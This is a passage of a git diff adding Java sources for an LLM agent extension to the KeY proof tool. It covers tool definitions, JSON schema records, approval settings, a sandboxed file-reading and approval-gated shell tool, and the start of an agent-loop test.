+    }
+
+    /** Whether calling the given tool requires user approval (never throws for unknown tools). */
+    public boolean requiresApproval(String toolName) {
+        var settings = LlmSettings.INSTANCE;
+        if (settings.getAllowedToolsWithoutApproval().contains(toolName)) {
+            return false;
+        }
+        if (settings.getAllowedToolsWithApproval().contains(toolName)) {
+            return true;
+        }
+        Tool tool = findTool(toolName);
+        return tool == null || tool.defaultApproval() == Tool.ApprovalRequirement.ASK;
+    }
+
+    /** Whether the tool is currently disabled in the settings. */
+    public boolean isDisabled(String toolName) {
+        return LlmSettings.INSTANCE.getToolsDisabled().contains(toolName);
+    }
+
+    /** Remembers the tool as approved without further prompts ("always allow this tool"). */
+    public void allowWithoutApproval(String toolName) {
+        var allowed = new TreeSet<>(LlmSettings.INSTANCE.getAllowedToolsWithoutApproval());
+        allowed.add(toolName);
+        LlmSettings.INSTANCE.setAllowedToolsWithoutApproval(allowed);
+        var with = new TreeSet<>(LlmSettings.INSTANCE.getAllowedToolsWithApproval());
+        with.remove(toolName);
+        LlmSettings.INSTANCE.setAllowedToolsWithApproval(with);
+    }
+
+    /** Removes the tool from both approval sets (back to its default behavior). */
+    public void resetApproval(String toolName) {
+        var with = new TreeSet<>(LlmSettings.INSTANCE.getAllowedToolsWithApproval());
+        var without = new TreeSet<>(LlmSettings.INSTANCE.getAllowedToolsWithoutApproval());
+        with.remove(toolName);
+        without.remove(toolName);
+        LlmSettings.INSTANCE.setAllowedToolsWithApproval(with);
+        LlmSettings.INSTANCE.setAllowedToolsWithoutApproval(without);
+    }
+
+    /**
+     * Invokes the tool on the owning client, after a disabled check. The invoked client itself
+     * applies additional safety measures (e.g. the shell blocklist).
+     */
+    @Override
+    public Object callTool(String toolName, String arguments) throws Exception {
+        if (isDisabled(toolName)) {
+            throw new McpToolNowAllowedException();
+        }
+        var owner = toolOwners.get(toolName);
+        if (owner == null) {
+            throw new IllegalArgumentException("unknown tool: " + toolName);
+        }
+        return owner.callTool(toolName, arguments);
+    }
+
+    private @Nullable Tool findTool(String toolName) {
+        var owner = toolOwners.get(toolName);
+        if (owner == null) {
+            return null;
+        }
+        return owner.getTools().stream().filter(t -> toolName.equals(t.function().name()))
+                .findFirst().orElse(null);
+    }
+
+    public List<Tool> toolsOf(String toolName) {
+        var owner = toolOwners.get(toolName);
+        return owner == null ? List.of() : owner.getTools();
+    }
+
+    @Override
+    public boolean isClosed() {
+        return isClosed;
+    }
+
+    @Override
+    public void close() {
+        isClosed = true;
+    }
+}
diff --git a/keyext.llm/src/main/java/org/key_project/key/llm/mcp/DemoMcpTool.java b/keyext.llm/src/main/java/org/key_project/key/llm/mcp/DemoMcpTool.java
new file mode 100644
index 00000000000..5142f5573cc
--- /dev/null
+++ b/keyext.llm/src/main/java/org/key_project/key/llm/mcp/DemoMcpTool.java
@@ -0,0 +1,71 @@
+/* This file is part of KeY - https://key-project.org
+ * KeY is licensed under the GNU General Public License Version 2
+ * SPDX-License-Identifier: GPL-2.0-only */
+package org.key_project.key.llm.mcp;
+
+import java.util.List;
+
+/**
+ * Demo implementation of an MCP client using type-safe record classes.
+ *
+ * @author Alexander Weigl
+ * @version 1 (28.06.26)
+ */
+public class DemoMcpTool implements McpToolProvider, McpClient {
+    @Override
+    public List<McpClient> get() {
+        return List.of(this);
+    }
+
+    @Override
+    public List<Tool> getTools() {
+        // Using the new type-safe record classes
+        var echoTool = new Tool(new FunctionDefinition(
+            "echo",
+            "returns the given string",
+            new JsonSchema("object")));
+
+        // Example with parameters
+        var calculatorTool = new Tool(new FunctionDefinition(
+            "calculate",
+            "performs basic arithmetic operations",
+            JsonSchema.builder()
+                    .withType("object")
+                    .addProperty("operation", JsonSchema.builder()
+                            .withType("string")
+                            .withDescription(
+                                "The operation to perform (add, subtract, multiply, divide)")
+                            .build())
+                    .addProperty("a", JsonSchema.builder()
+                            .withType("number")
+                            .withDescription("First operand")
+                            .build())
+                    .addProperty("b", JsonSchema.builder()
+                            .withType("number")
+                            .withDescription("Second operand")
+                            .build())
+                    .addRequired("operation")
+                    .addRequired("a")
+                    .addRequired("b")
+                    .build()));
+        return List.of(echoTool, calculatorTool);
+    }
+
+    @Override
+    public Object callTool(String toolName, String arguments) {
+        return null;
+    }
+
+    @Override
+    public boolean isClosed() {
+        return false;
+    }
+
+    @Override
+    public void close() {
+    }
+
+
+}
+
+
diff --git a/keyext.llm/src/main/java/org/key_project/key/llm/mcp/FunctionDefinition.java b/keyext.llm/src/main/java/org/key_project/key/llm/mcp/FunctionDefinition.java
new file mode 100644
index 00000000000..aa3dbc1a335
--- /dev/null
+++ b/keyext.llm/src/main/java/org/key_project/key/llm/mcp/FunctionDefinition.java
@@ -0,0 +1,56 @@
+/* This file is part of KeY - https://key-project.org
+ * KeY is licensed under the GNU General Public License Version 2
+ * SPDX-License-Identifier: GPL-2.0-only */
+package org.key_project.key.llm.mcp;
+
+import java.util.Map;
+
+import com.fasterxml.jackson.annotation.JsonProperty;
+
+/**
+ * Represents a function definition in OpenAI tool specification.
+ *
+ * @param name The name of the function
+ * @param description Optional description of what the function does
+ * @param parameters JSON Schema object defining the function's parameters
+ * @author Alexander Weigl
+ * @version 1 (28.06.26)
+ */
+public record FunctionDefinition(
+        @JsonProperty("name") String name,
+        @JsonProperty("description") String description,
+        @JsonProperty("parameters") JsonSchema parameters) {
+    /**
+     * Creates a new FunctionDefinition with minimal required fields.
+     *
+     * @param name The name of the function
+     */
+    public FunctionDefinition(String name) {
+        this(name, null, new JsonSchema());
+    }
+
+    /**
+     * Creates a new FunctionDefinition with name and description.
+     *
+     * @param name The name of the function
+     * @param description Description of what the function does
+     */
+    public FunctionDefinition(String name, String description) {
+        this(name, description, new JsonSchema());
+    }
+
+    /**
+     * Converts this FunctionDefinition to a Map representation.
+     *
+     * @return Map containing the function definition
+     */
+    public Map<String, Object> toMap() {
+        var mapBuilder = new java.util.HashMap<String, Object>();
+        mapBuilder.put("name", name);
+        if (description != null) {
+            mapBuilder.put("description", description);
+        }
+        mapBuilder.put("parameters", parameters.toMap());
+        return mapBuilder;
+    }
+}
diff --git a/keyext.llm/src/main/java/org/key_project/key/llm/mcp/JsonSchema.java b/keyext.llm/src/main/java/org/key_project/key/llm/mcp/JsonSchema.java
new file mode 100644
index 00000000000..93a23a424de
--- /dev/null
+++ b/keyext.llm/src/main/java/org/key_project/key/llm/mcp/JsonSchema.java
@@ -0,0 +1,215 @@
+/* This file is part of KeY - https://key-project.org
+ * KeY is licensed under the GNU General Public License Version 2
+ * SPDX-License-Identifier: GPL-2.0-only */
+package org.key_project.key.llm.mcp;
+
+import java.util.LinkedHashMap;
+import java.util.List;
+import java.util.Map;
+
+import com.fasterxml.jackson.annotation.JsonProperty;
+
+/**
+ * Represents a JSON Schema object for function parameters in OpenAI tool specification.
+ * <p>
+ * This follows the JSON Schema specification as used by OpenAI's API.
+ *
+ * @param schemaType The type of the value (e.g., "object", "string", "number", "array")
+ * @param properties Map of property names to their schema definitions (for type "object")
+ * @param required List of required property names (for type "object")
+ * @param items Schema for array items (for type "array")
+ * @param enumValues List of allowed values (for enum constraints)
+ * @param description Optional description of the parameter
+ * @author Alexander Weigl
+ * @version 1 (28.06.26)
+ */
+public record JsonSchema(
+        @JsonProperty("type") String schemaType,
+        @JsonProperty("properties") Map<String, JsonSchema> properties,
+        @JsonProperty("required") List<String> required,
+        @JsonProperty("items") JsonSchema items,
+        @JsonProperty("enum") List<String> enumValues,
+        @JsonProperty("description") String description) {
+    /**
+     * Creates an empty JSON Schema (defaults to an object type).
+     */
+    public JsonSchema() {
+        this(null, null, null, null, null, null);
+    }
+
+    /**
+     * Creates a JSON Schema with the specified type.
+     *
+     * @param schemaType The type of the value
+     */
+    public JsonSchema(String schemaType) {
+        this(schemaType, null, null, null, null, null);
+    }
+
+    /**
+     * Creates a JSON Schema for an object type with properties.
+     *
+     * @param properties Map of property names to their schema definitions
+     * @param required List of required property names
+     */
+    public JsonSchema(Map<String, JsonSchema> properties, List<String> required) {
+        this("object", properties, required, null, null, null);
+    }
+
+    /**
+     * Converts this JsonSchema to a Map representation.
+     *
+     * @return Map containing the JSON Schema definition
+     */
+    public Map<String, Object> toMap() {
+        var map = new LinkedHashMap<String, Object>();
+
+        if (schemaType != null) {
+            map.put("type", schemaType);
+        }
+        if (properties != null && !properties.isEmpty()) {
+            var propsMap = new LinkedHashMap<String, Object>();
+            properties.forEach((k, v) -> propsMap.put(k, v.toMap()));
+            map.put("properties", propsMap);
+        }
+        if (required != null && !required.isEmpty()) {
+            map.put("required", required);
+        }
+        if (items != null) {
+            map.put("items", items.toMap());
+        }
+        if (enumValues != null && !enumValues.isEmpty()) {
+            map.put("enum", enumValues);
+        }
+        if (description != null) {
+            map.put("description", description);
+        }
+
+        return map;
+    }
+
+    /**
+     * Creates a builder for JsonSchema.
+     *
+     * @return A new Builder instance
+     */
+    public static Builder builder() {
+        return new Builder();
+    }
+
+    /**
+     * Builder class for creating JsonSchema instances.
+     */
+    public static class Builder {
+        private String schemaType;
+        private Map<String, JsonSchema> properties;
+        private List<String> required;
+        private JsonSchema items;
+        private List<String> enumValues;
+        private String description;
+
+        /**
+         * Sets the schema type.
+         *
+         * @param type The type (e.g., "object", "string", "number", "array", "boolean")
+         * @return this builder
+         */
+        public Builder withType(String type) {
+            this.schemaType = type;
+            return this;
+        }
+
+        /**
+         * Sets the properties map.
+         *
+         * @param properties Map of property names to their schema definitions
+         * @return this builder
+         */
+        public Builder withProperties(Map<String, JsonSchema> properties) {
+            this.properties = properties;
+            return this;
+        }
+
+        /**
+         * Adds a property to the schema.
+         *
+         * @param name The property name
+         * @param schema The property schema
+         * @return this builder
+         */
+        public Builder addProperty(String name, JsonSchema schema) {
+            if (this.properties == null) {
+                this.properties = new LinkedHashMap<>();
+            }
+            this.properties.put(name, schema);
+            return this;
+        }
+
+        /**
+         * Sets the required properties list.
+         *
+         * @param required List of required property names
+         * @return this builder
+         */
+        public Builder withRequired(List<String> required) {
+            this.required = required;
+            return this;
+        }
+
+        /**
+         * Adds a required property.
+         *
+         * @param propertyName The name of the required property
+         * @return this builder
+         */
+        public Builder addRequired(String propertyName) {
+            if (this.required == null) {
+                this.required = new java.util.ArrayList<>();
+            }
+            this.required.add(propertyName);
+            return this;
+        }
+
+        /**
+         * Sets the items schema for array types.
+         *
+         * @param items The schema for array items
+         * @return this builder
+         */
+        public Builder withItems(JsonSchema items) {
+            this.items = items;
+            return this;
+        }
+
+        /**
+         * Sets the enum values.
+         *
+         * @param enumValues List of allowed values
+         * @return this builder
+         */
+        public Builder withEnum(List<String> enumValues) {
+            this.enumValues = enumValues;
+            return this;
+        }
+
+        /**
+         * Sets the description.
+         *
+         * @param description The description
+         * @return this builder
+         */
+        public Builder withDescription(String description) {
+            this.description = description;
+            return this;
+        }
+
+        /**
+         * Builds the JsonSchema instance.
+         *
+         * @return A new JsonSchema
+         */
+        public JsonSchema build() {
+            return new JsonSchema(schemaType, properties, required, items, enumValues, description);
+        }
+    }
+}
diff --git a/keyext.llm/src/main/java/org/key_project/key/llm/mcp/KeYAgentTools.java b/keyext.llm/src/main/java/org/key_project/key/llm/mcp/KeYAgentTools.java
new file mode 100644
index 00000000000..d170739120d
--- /dev/null
+++ b/keyext.llm/src/main/java/org/key_project/key/llm/mcp/KeYAgentTools.java
@@ -0,0 +1,300 @@
+/* This file is part of KeY - https://key-project.org
+ * KeY is licensed under the GNU General Public License Version 2
+ * SPDX-License-Identifier: GPL-2.0-only */
+package org.key_project.key.llm.mcp;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.nio.charset.StandardCharsets;
+import java.nio.file.Files;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+import java.util.stream.Collectors;
+
+import de.uka.ilkd.key.gui.MainWindow;
+import de.uka.ilkd.key.proof.Proof;
+
+import org.key_project.key.llm.FileAccess;
+import org.key_project.key.llm.LlmSettings;
+import org.key_project.key.llm.ProofContextCollector;
+import org.key_project.key.llm.ShellSafetyPolicy;
+
+import com.google.gson.GsonBuilder;
+import org.jspecify.annotations.Nullable;
+
+import static org.key_project.key.llm.mcp.Tool.ApprovalRequirement.ASK;
+import static org.key_project.key.llm.mcp.Tool.ApprovalRequirement.AUTO;
+
+/**
+ * The built-in tool set of the KeY-Agent:
+ * <ul>
+ * <li>{@code get_proof_context} - the current proof state as a text block</li>
+ * <li>{@code list_files} / {@code read_file} / {@code file_info} - bounded, sandboxed access to
+ * the files of the current Java model</li>
+ * <li>{@code run_command} - executes a shell command in the model directory (blocklist + user
+ * approval required)</li>
+ * <li>{@code ask_user} - asks the user a question (intercepted by the agent loop)</li>
+ * </ul>
+ *
+ * @author Alexander Weigl
+ */
+public final class KeYAgentTools implements McpClient {
+
+    public static final String TOOL_GET_PROOF_CONTEXT = "get_proof_context";
+    public static final String TOOL_LIST_FILES = "list_files";
+    public static final String TOOL_READ_FILE = "read_file";
+    public static final String TOOL_FILE_INFO = "file_info";
+    public static final String TOOL_RUN_COMMAND = "run_command";
+    public static final String TOOL_ASK_USER = "ask_user";
+    public static final String TOOL_USE_SKILL = "use_skill";
+
+    private final ShellSafetyPolicy safetyPolicy = new ShellSafetyPolicy();
+
+    private static @Nullable Proof selectedProof() {
+        var mediator = MainWindow.getInstance().getMediator();
+        return mediator == null ? null : mediator.getSelectedProof();
+    }
+
+    @Override
+    public List<Tool> getTools() {
+        return List.of(
+            tool(TOOL_GET_PROOF_CONTEXT, "Returns a text block describing the current proof state:"
+                + " name, open/closed goals, the current sequent, open goal sequents, model info and"
+                + " the computation path from the root to the selected node.", AUTO,
+                schema(
+                    "include_compute_path",
+                    JsonSchema.builder().withType("boolean")
+                            .withDescription("include the computation path")
+                            .build())),
+            tool(TOOL_LIST_FILES, "Lists files of the current Java model directory (relative paths,"
+                + " bounded). Use with an optional prefix to filter.", AUTO,
+                schema("prefix",
+                    JsonSchema.builder().withType("string")
+                            .withDescription("optional path prefix to filter").build())),
+            tool(TOOL_READ_FILE, "Reads a text file of the current Java model directory (relative"
+                + " path). Respects the configured size limits.", AUTO,
+                schema("path",
+                    JsonSchema.builder().withType("string")
+                            .withDescription("relative path inside the model")
+                            .build())),
+            tool(TOOL_FILE_INFO, "Returns metadata (size, last modified, kind) of a file inside the"
+                + " model directory.", AUTO,
+                schema("path",
+                    JsonSchema.builder().withType("string")
+                            .withDescription("relative path inside the model")
+                            .build())),
+            tool(TOOL_RUN_COMMAND, "Runs a shell command in the model directory. Requires user"
+                + " approval. Destructive commands are blocked by a blocklist.", ASK,
+                schema(
+                    "command", JsonSchema.builder().withType("string")
+                            .withDescription("the shell command to run").build())),
+            tool(TOOL_ASK_USER, "Asks the user a question. Use this whenever a case split, an"
+                + " assumption or a design decision is ambiguous. The user's answer is returned"
+                + " verbatim.", AUTO,
+                schema("question",
+                    JsonSchema.builder().withType("string").withDescription("the question text")
+                            .build(),
+                    "options",
+                    JsonSchema.builder().withType("array")
+                            .withDescription("optional answer options")
+                            .withItems(JsonSchema.builder().withType("string").build()).build())),
+            tool(TOOL_USE_SKILL, "Activates a user-defined skill by name. Skills add focused"
+                + " instructions to the system prompt of this and subsequent turns. Enabled only"
+                + " when the 'agent can use skills' setting is on.", AUTO,
+                schema("name",
+                    JsonSchema.builder().withType("string")
+                            .withDescription("the name of the skill to activate").build())));
+    }
+
+    private static Tool tool(String name, String description, Tool.ApprovalRequirement approval,
+            JsonSchema parameters) {
+        return new Tool(new FunctionDefinition(name, description, parameters), approval);
+    }
+
+    private static JsonSchema schema(Object... keyValue) {
+        var builder = JsonSchema.builder().withType("object");
+        for (int i = 0; i + 1 < keyValue.length; i += 2) {
+            builder.addProperty((String) keyValue[i], (JsonSchema) keyValue[i + 1]);
+        }
+        return builder.build();
+    }
+
+    @SuppressWarnings("unchecked")
+    @Override
+    public Object callTool(String toolName, String arguments) throws Exception {
+        var args = parseArgs(arguments);
+        return switch (toolName) {
+            case TOOL_GET_PROOF_CONTEXT -> contextBlock(args);
+            case TOOL_LIST_FILES -> listFiles(stringArg(args, "prefix"));
+            case TOOL_READ_FILE -> readFile(stringArg(args, "path"), false);
+            case TOOL_FILE_INFO -> readFile(stringArg(args, "path"), true);
+            case TOOL_RUN_COMMAND -> runCommand(stringArg(args, "command"));
+            case TOOL_ASK_USER ->
+                "[ask_user is interactive and handled by the agent loop; it cannot be called "
+                    + "directly]";
+            case TOOL_USE_SKILL ->
+                "[use_skill is handled by the agent loop; it cannot be called directly]";
+            default -> throw new IllegalArgumentException("unknown tool: " + toolName);
+        };
+    }
+
+    private static Map<String, Object> parseArgs(String arguments) {
+        if (arguments == null || arguments.isBlank()) {
+            return Map.of();
+        }
+        try {
+            var parsed = new GsonBuilder().create().fromJson(arguments, Map.class);
+            return parsed == null ? Map.of() : parsed;
+        } catch (Exception e) {
+            return Map.of();
+        }
+    }
+
+    private static @Nullable String stringArg(Map<String, Object> args, String key) {
+        Object v = args.get(key);
+        return v == null ? null : String.valueOf(v);
+    }
+
+    private static boolean boolArg(Map<String, Object> args, String key) {
+        Object v = args.get(key);
+        return v instanceof Boolean b && b || "true".equals(v);
+    }
+
+    private static String contextBlock(Map<String, Object> args) {
+        var proof = selectedProof();
+        if (proof == null) {
+            return "(no proof selected)";
+        }
+        var node = MainWindow.getInstance().getMediator().getSelectedNode();
+        return ProofContextCollector.contextBlock(proof, node);
+    }
+
+    private static String listFiles(@Nullable String prefix) {
+        var proof = selectedProof();
+        var files = FileAccess.listFiles(proof);
+        var filtered = prefix == null || prefix.isBlank() ? files
+                : files.stream().filter(p -> {
+                    var rel = FileAccess.relativeName(proof, p);
+                    return rel != null && rel.startsWith(prefix);
+                }).toList();
+        if (filtered.isEmpty()) {
+            return "(no files" + (prefix == null ? "" : " matching prefix \"" + prefix + "\"")
+                + ")";
+        }
+        return filtered.stream().map(p -> {
+            var rel = FileAccess.relativeName(proof, p);
+            return "- " + (rel == null ? p : rel);
+        }).collect(Collectors.joining("\n"));
+    }
+
+    private static String readFile(@Nullable String path, boolean info) {
+        if (path == null || path.isBlank()) {
+            return "Error: 'path' parameter is required";
+        }
+        var proof = selectedProof();
+        if (proof == null) {
+            return "Error: no proof selected; no model directory available";
+        }
+        var resolved = FileAccess.resolveInModel(proof, path);
+        if (resolved == null || !Files.exists(resolved)) {
+            return "Error: file not found inside the model directory: " + path;
+        }
+        if (FileAccess.isBinary(path)) {
+            return "Error: binary file (not offered for reading): " + path;
+        }
+        if (info) {
+            try {
+                return "path: " + path + "\nsize: " + Files.size(resolved)
+                    + " bytes\nlast modified: "
+                    + Files.getLastModifiedTime(resolved) + "\nregular file: "
+                    + Files.isRegularFile(resolved);
+            } catch (IOException e) {
+                return "Error: " + e.getMessage();
+            }
+        }
+        try {
+            return FileAccess.readText(resolved);
+        } catch (IOException e) {
+            return "Error: " + e.getMessage();
+        }
+    }
+
+    private String runCommand(@Nullable String command) throws Exception {
+        if (command == null || command.isBlank()) {
+            return "Error: 'command' parameter is required";
+        }
+        var settings = LlmSettings.INSTANCE;
+        var verdict = safetyPolicy.evaluate(command);
+        if (!verdict.allowed()) {
+            return "[Command blocked by safety policy: " + verdict.reason() + "]";
+        }
+        if (!settings.getShellEnabled()) {
+            return "[Shell commands are disabled in the LLM settings]";
+        }
+        var proof = selectedProof();
+        var workDir = proof == null ? null : FileAccess.modelRoot(proof);
+        var pb = new ProcessBuilder("/bin/sh", "-c", command);
+        pb.redirectErrorStream(true);
+        if (workDir != null) {
+            pb.directory(workDir.toFile());
+        }
+        Process process;
+        try {
+            process = pb.start();
+        } catch (IOException e) {
+            return "Error: could not start command: " + e.getMessage();
+        }
+        int timeout = Math.max(1, settings.getShellTimeoutSeconds());
+        int maxChars = Math.max(1, settings.getShellMaxOutputChars());
+
+        var outFuture = CompletableFuture.supplyAsync(
+            () -> readBounded(process.getInputStream(), maxChars));
+        boolean done;
+        try {
+            done = process.waitFor(timeout, TimeUnit.SECONDS);
+        } catch (InterruptedException e) {
+            Thread.currentThread().interrupt();
+            process.destroyForcibly();
+            return "Error: interrupted";
+        }
+        if (!done) {
+            process.destroyForcibly();
+            return "[Command timed out after " + timeout + "s and was terminated]";
+        }
+        try {
+            String output = outFuture.get(2, TimeUnit.SECONDS);
+            return "exit code: " + process.exitValue() + "\n" + output;
+        } catch (Exception e) {
+            return "exit code: " + process.exitValue() + "\n(output unavailable)";
+        }
+    }
+
+    private static String readBounded(InputStream in, int maxChars) {
+        var sb = new StringBuilder();
+        byte[] buf = new byte[4096];
+        try {
+            int read;
+            while ((read = in.read(buf)) != -1 && sb.length() < maxChars) {
+                int keep = Math.min(read, maxChars - sb.length());
+                sb.append(new String(buf, 0, keep, StandardCharsets.UTF_8));
+            }
+        } catch (IOException e) {
+            // stream closed (e.g. command terminated early)
+        }
+        if (sb.length() >= maxChars) {
+            sb.append("\n... [output truncated]");
+        }
+        return sb.toString();
+    }
+
+    @Override
+    public boolean isClosed() {
+        return false;
+    }
+
+    @Override
+    public void close() {
+    }
+}
diff --git a/keyext.llm/src/main/java/org/key_project/key/llm/mcp/KeYAgentToolsProvider.java b/keyext.llm/src/main/java/org/key_project/key/llm/mcp/KeYAgentToolsProvider.java
new file mode 100644
index 00000000000..87cafe1ca5c
--- /dev/null
+++ b/keyext.llm/src/main/java/org/key_project/key/llm/mcp/KeYAgentToolsProvider.java
@@ -0,0 +1,22 @@
+/* This file is part of KeY - https://key-project.org
+ * KeY is licensed under the GNU General Public License Version 2
+ * SPDX-License-Identifier: GPL-2.0-only */
+package org.key_project.key.llm.mcp;
+
+import java.util.List;
+
+/**
+ * Provides the built-in KeY-Agent tool set (proof context, file access, shell, questions) to the
+ * {@link BuiltInMCPClient}. Registered via {@code META-INF/services} (replacing the former echo and
+ * calculate demo tools).
+ *
+ * @author Alexander Weigl
+ */
+public final class KeYAgentToolsProvider implements McpToolProvider {
+    private final KeYAgentTools agentTools = new KeYAgentTools();
+
+    @Override
+    public List<McpClient> get() {
+        return List.of(agentTools);
+    }
+}
diff --git a/keyext.llm/src/main/java/org/key_project/key/llm/mcp/MCPTool.java b/keyext.llm/src/main/java/org/key_project/key/llm/mcp/MCPTool.java
new file mode 100644
index 00000000000..275d4d668b8
--- /dev/null
+++ b/keyext.llm/src/main/java/org/key_project/key/llm/mcp/MCPTool.java
@@ -0,0 +1,12 @@
+/* This file is part of KeY - https://key-project.org
+ * KeY is licensed under the GNU General Public License Version 2
+ * SPDX-License-Identifier: GPL-2.0-only */
+package org.key_project.key.llm.mcp;
+
+/**
+ *
+ * @author Alexander Weigl
+ * @version 1 (28.06.26)
+ */
+public interface MCPTool {
+}
diff --git a/keyext.llm/src/main/java/org/key_project/key/llm/mcp/McpClient.java b/keyext.llm/src/main/java/org/key_project/key/llm/mcp/McpClient.java
new file mode 100644
index 00000000000..2a06dd88280
--- /dev/null
+++ b/keyext.llm/src/main/java/org/key_project/key/llm/mcp/McpClient.java
@@ -0,0 +1,43 @@
+/* This file is part of KeY - https://key-project.org
+ * KeY is licensed under the GNU General Public License Version 2
+ * SPDX-License-Identifier: GPL-2.0-only */
+package org.key_project.key.llm.mcp;
+
+import java.util.List;
+
+/**
+ * MCP client interface for tool and resource access.
+ * <p>
+ * Implementations should handle communication with MCP servers,
+ * including tool discovery, invocation, and resource retrieval.
+ */
+public interface McpClient {
+    /**
+     * Returns available tools in OpenAI API format.
+     *
+     * @return List of tool definitions
+     */
+    List<Tool> getTools();
+
+    /**
+     * Calls a tool with the given arguments.
+     *
+     * @param toolName The name of the tool to call
+     * @param arguments JSON string of arguments
+     * @return The tool result
+     * @throws Exception If the tool call fails
+     */
+    Object callTool(String toolName, String arguments) throws Exception;
+
+    /**
+     * Checks if the MCP client is still connected.
+     *
+     * @return true if connected, false otherwise
+     */
+    boolean isClosed();
+
+    /**
+     * Closes the MCP client and releases resources.
+     */
+    void close();
+}
diff --git a/keyext.llm/src/main/java/org/key_project/key/llm/mcp/McpToolNowAllowedException.java b/keyext.llm/src/main/java/org/key_project/key/llm/mcp/McpToolNowAllowedException.java
new file mode 100644
index 00000000000..dd99709a8ae
--- /dev/null
+++ b/keyext.llm/src/main/java/org/key_project/key/llm/mcp/McpToolNowAllowedException.java
@@ -0,0 +1,12 @@
+/* This file is part of KeY - https://key-project.org
+ * KeY is licensed under the GNU General Public License Version 2
+ * SPDX-License-Identifier: GPL-2.0-only */
+package org.key_project.key.llm.mcp;
+
+/**
+ *
+ * @author Alexander Weigl
+ * @version 1 (28.06.26)
+ */
+public class McpToolNowAllowedException extends Exception {
+}
diff --git a/keyext.llm/src/main/java/org/key_project/key/llm/mcp/McpToolProvider.java b/keyext.llm/src/main/java/org/key_project/key/llm/mcp/McpToolProvider.java
new file mode 100644
index 00000000000..427625e37d7
--- /dev/null
+++ b/keyext.llm/src/main/java/org/key_project/key/llm/mcp/McpToolProvider.java
@@ -0,0 +1,17 @@
+/* This file is part of KeY - https://key-project.org
+ * KeY is licensed under the GNU General Public License Version 2
+ * SPDX-License-Identifier: GPL-2.0-only */
+package org.key_project.key.llm.mcp;
+
+import java.util.List;
+
+/**
+ * Bootstraps a set of {@link McpClient} instances from the service loader. Registered under
+ * {@code META-INF/services/org.key_project.key.llm.mcp.McpToolProvider}.
+ *
+ * @author Alexander Weigl
+ * @version 1 (28.06.26)
+ */
+public interface McpToolProvider {
+    List<McpClient> get();
+}
diff --git a/keyext.llm/src/main/java/org/key_project/key/llm/mcp/Tool.java b/keyext.llm/src/main/java/org/key_project/key/llm/mcp/Tool.java
new file mode 100644
index 00000000000..12f0d28bcfb
--- /dev/null
+++ b/keyext.llm/src/main/java/org/key_project/key/llm/mcp/Tool.java
@@ -0,0 +1,37 @@
+/* This file is part of KeY - https://key-project.org
+ * KeY is licensed under the GNU General Public License Version 2
+ * SPDX-License-Identifier: GPL-2.0-only */
+package org.key_project.key.llm.mcp;
+
+import java.util.Map;
+
+/**
+ * A tool definition in the OpenAI tool format plus KeY-side metadata.
+ *
+ * @param type the tool type, always {@code "function"}
+ * @param function the function definition
+ * @param defaultApproval whether this tool is safe to run without asking the user by default
+ */
+public record Tool(String type, FunctionDefinition function,
+        ApprovalRequirement defaultApproval) {
+
+    public Tool(FunctionDefinition function) {
+        this("function", function, ApprovalRequirement.AUTO);
+    }
+
+    public Tool(FunctionDefinition function, ApprovalRequirement defaultApproval) {
+        this("function", function, defaultApproval);
+    }
+
+    /** Converts this tool to the OpenAI-format map (approval metadata is not serialized). */
+    public Map<String, Object> toMap() {
+        return Map.of("type", type, "function", function.toMap());
+    }
+
+    public enum ApprovalRequirement {
+        /** Run without asking the user (unless the user configured approval explicitly). */
+        AUTO,
+        /** Ask the user before the first execution in a turn, by default. */
+        ASK
+    }
+}
diff --git a/keyext.llm/src/main/resources/META-INF/services/de.uka.ilkd.key.gui.extension.api.KeYGuiExtension b/keyext.llm/src/main/resources/META-INF/services/de.uka.ilkd.key.gui.extension.api.KeYGuiExtension
new file mode 100644
index 00000000000..0f47a0e8cae
--- /dev/null
+++ b/keyext.llm/src/main/resources/META-INF/services/de.uka.ilkd.key.gui.extension.api.KeYGuiExtension
@@ -0,0 +1 @@
+org.key_project.key.llm.LlmExtension
\ No newline at end of file
diff --git a/keyext.llm/src/main/resources/META-INF/services/org.key_project.key.llm.mcp.McpToolProvider b/keyext.llm/src/main/resources/META-INF/services/org.key_project.key.llm.mcp.McpToolProvider
new file mode 100644
index 00000000000..b0868d3b973
--- /dev/null
+++ b/keyext.llm/src/main/resources/META-INF/services/org.key_project.key.llm.mcp.McpToolProvider
@@ -0,0 +1 @@
+org.key_project.key.llm.mcp.KeYAgentToolsProvider
diff --git a/keyext.llm/src/test/java/org/key_project/key/llm/AgentLoopTest.java b/keyext.llm/src/test/java/org/key_project/key/llm/AgentLoopTest.java
new file mode 100644
index 00000000000..3e38ec96ba0
--- /dev/null
+++ b/keyext.llm/src/test/java/org/key_project/key/llm/AgentLoopTest.java
@@ -0,0 +1,240 @@
+/* This file is part of KeY - https://key-project.org
+ * KeY is licensed under the GNU General Public License Version 2
+ * SPDX-License-Identifier: GPL-2.0-only */
+package org.key_project.key.llm;
+
+import java.util.ArrayDeque;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.CopyOnWriteArrayList;
+
+import org.key_project.key.llm.mcp.KeYAgentTools;
+
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertInstanceOf;
+import static org.junit.jupiter.api.Assertions.assertNull;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+/**
+ * Tests the {@link AgentLoop}: bounded tool rounds, correct follow-up messages (no prompt
+ * duplication), question pause/resume and approval pause/resume.
+ */
+class AgentLoopTest {
+
+    private LlmSession session;
+
+    @BeforeEach
+    void setUp() {
+        LlmSettings.INSTANCE.setMaxToolRounds(8);
+        LlmSettings.INSTANCE.setAllowedToolsWithApproval(new java.util.TreeSet<>());
+        LlmSettings.INSTANCE.setAllowedToolsWithoutApproval(new java.util.TreeSet<>());
+        LlmSettings.INSTANCE.setToolsDisabled(new java.util.TreeSet<>());
+        LlmSettings.INSTANCE.setAgentCanUseSkills(false);
+        TestMcpToolProvider.reset();
+        session = new LlmSession("https://example.invalid", "token", "model");
+    }
+
+    @Test
+    void toolRoundLimitIsEnforced() {
+        var mock = new MockCompletions();
+        // the model keeps calling a tool forever
+        for (int i = 0; i < 100; i++) {
+            mock.thenRespond(MockCompletions.toolCalls(
+                List.of(MockCompletions.tool("call" + i, TestMcpToolProvider.ECHO, "{\"x\":1}")),
+                ""));
+        }
+        LlmSettings.INSTANCE.setMaxToolRounds(2);
+
